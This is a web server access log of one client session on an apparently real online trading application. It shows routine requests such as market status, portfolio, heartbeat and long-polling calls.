[09/Jan/2026:08:14:40 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/images/ui-bg_flat_75_ffffff_40x100.png HTTP/1.1" 208
[09/Jan/2026:08:14:40 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:14:40 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:14:40 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:08:14:40 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:08:14:42 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:14:42 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/CustomerInfo HTTP/1.1" 208
[09/Jan/2026:08:14:42 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:14:42 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/account_status.html HTTP/1.1" 426
[09/Jan/2026:08:14:42 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:14:42 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:14:42 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:08:14:42 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:08:14:42 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:14:42 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LongPollingConfig HTTP/1.1" 4
[09/Jan/2026:08:14:42 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:08:14:42 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:14:42 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767917951573 HTTP/1.1" -
[09/Jan/2026:08:14:42 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Portfolio HTTP/1.1" 1944
[09/Jan/2026:08:14:47 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767917956636 HTTP/1.1" -
[09/Jan/2026:08:14:52 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767917961666 HTTP/1.1" -
[09/Jan/2026:08:14:57 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767917966732 HTTP/1.1" -
[09/Jan/2026:08:15:03 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767917971808 HTTP/1.1" -
[09/Jan/2026:08:15:08 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767917976882 HTTP/1.1" -
[09/Jan/2026:08:15:10 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:15:10 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:08:15:10 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:15:10 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:08:15:13 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767917981959 HTTP/1.1" -
[09/Jan/2026:08:15:18 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767917986990 HTTP/1.1" -
[09/Jan/2026:08:15:23 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767917992015 HTTP/1.1" -
[09/Jan/2026:08:15:28 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767917997316 HTTP/1.1" -
[09/Jan/2026:08:15:34 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918003306 HTTP/1.1" -
[09/Jan/2026:08:15:40 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918009305 HTTP/1.1" -
[09/Jan/2026:08:15:41 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:15:41 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:08:15:41 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:15:41 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:08:15:46 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918015308 HTTP/1.1" -
[09/Jan/2026:08:15:52 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918021311 HTTP/1.1" -
[09/Jan/2026:08:15:58 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918027306 HTTP/1.1" -
[09/Jan/2026:08:16:04 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918033310 HTTP/1.1" -
[09/Jan/2026:08:16:10 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918039309 HTTP/1.1" -
[09/Jan/2026:08:16:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:16:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:08:16:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:16:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:08:16:16 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918045303 HTTP/1.1" -
[09/Jan/2026:08:16:22 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918051311 HTTP/1.1" -
[09/Jan/2026:08:16:28 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918057307 HTTP/1.1" -
[09/Jan/2026:08:16:34 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918063318 HTTP/1.1" -
[09/Jan/2026:08:16:40 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918069304 HTTP/1.1" -
[09/Jan/2026:08:16:43 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:16:43 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:08:16:43 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:16:43 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:08:16:46 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918075317 HTTP/1.1" -
[09/Jan/2026:08:16:52 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918081309 HTTP/1.1" -
[09/Jan/2026:08:16:58 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918087317 HTTP/1.1" -
[09/Jan/2026:08:17:04 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918093311 HTTP/1.1" -
[09/Jan/2026:08:17:10 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918099316 HTTP/1.1" -
[09/Jan/2026:08:17:14 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:17:14 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:08:17:14 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:17:14 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:08:17:16 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918105307 HTTP/1.1" -
[09/Jan/2026:08:17:22 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918111308 HTTP/1.1" -
[09/Jan/2026:08:17:28 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918117312 HTTP/1.1" -
[09/Jan/2026:08:17:34 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918123309 HTTP/1.1" -
[09/Jan/2026:08:17:40 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918129311 HTTP/1.1" -
[09/Jan/2026:08:17:45 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:17:45 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:08:17:45 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:17:45 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:08:17:46 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918135305 HTTP/1.1" -
[09/Jan/2026:08:17:52 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918141318 HTTP/1.1" -
[09/Jan/2026:08:17:58 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918147317 HTTP/1.1" -
[09/Jan/2026:08:18:04 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918153306 HTTP/1.1" -
[09/Jan/2026:08:18:10 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918159304 HTTP/1.1" -
[09/Jan/2026:08:18:16 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918165313 HTTP/1.1" -
[09/Jan/2026:08:18:22 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918171311 HTTP/1.1" -
[09/Jan/2026:08:18:28 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918177307 HTTP/1.1" -
[09/Jan/2026:08:18:34 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918183316 HTTP/1.1" -
[09/Jan/2026:08:18:40 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918189304 HTTP/1.1" -
[09/Jan/2026:08:18:46 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918195308 HTTP/1.1" -
[09/Jan/2026:08:18:52 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918201303 HTTP/1.1" -
[09/Jan/2026:08:18:58 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918207316 HTTP/1.1" -
[09/Jan/2026:08:19:04 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918213303 HTTP/1.1" -
[09/Jan/2026:08:19:10 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918219315 HTTP/1.1" -
[09/Jan/2026:08:19:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:19:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:08:19:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:19:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:08:19:16 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918225310 HTTP/1.1" -
[09/Jan/2026:08:19:22 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918231312 HTTP/1.1" -
[09/Jan/2026:08:19:28 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918237309 HTTP/1.1" -
[09/Jan/2026:08:19:34 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918243307 HTTP/1.1" -
[09/Jan/2026:08:19:40 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918249305 HTTP/1.1" -
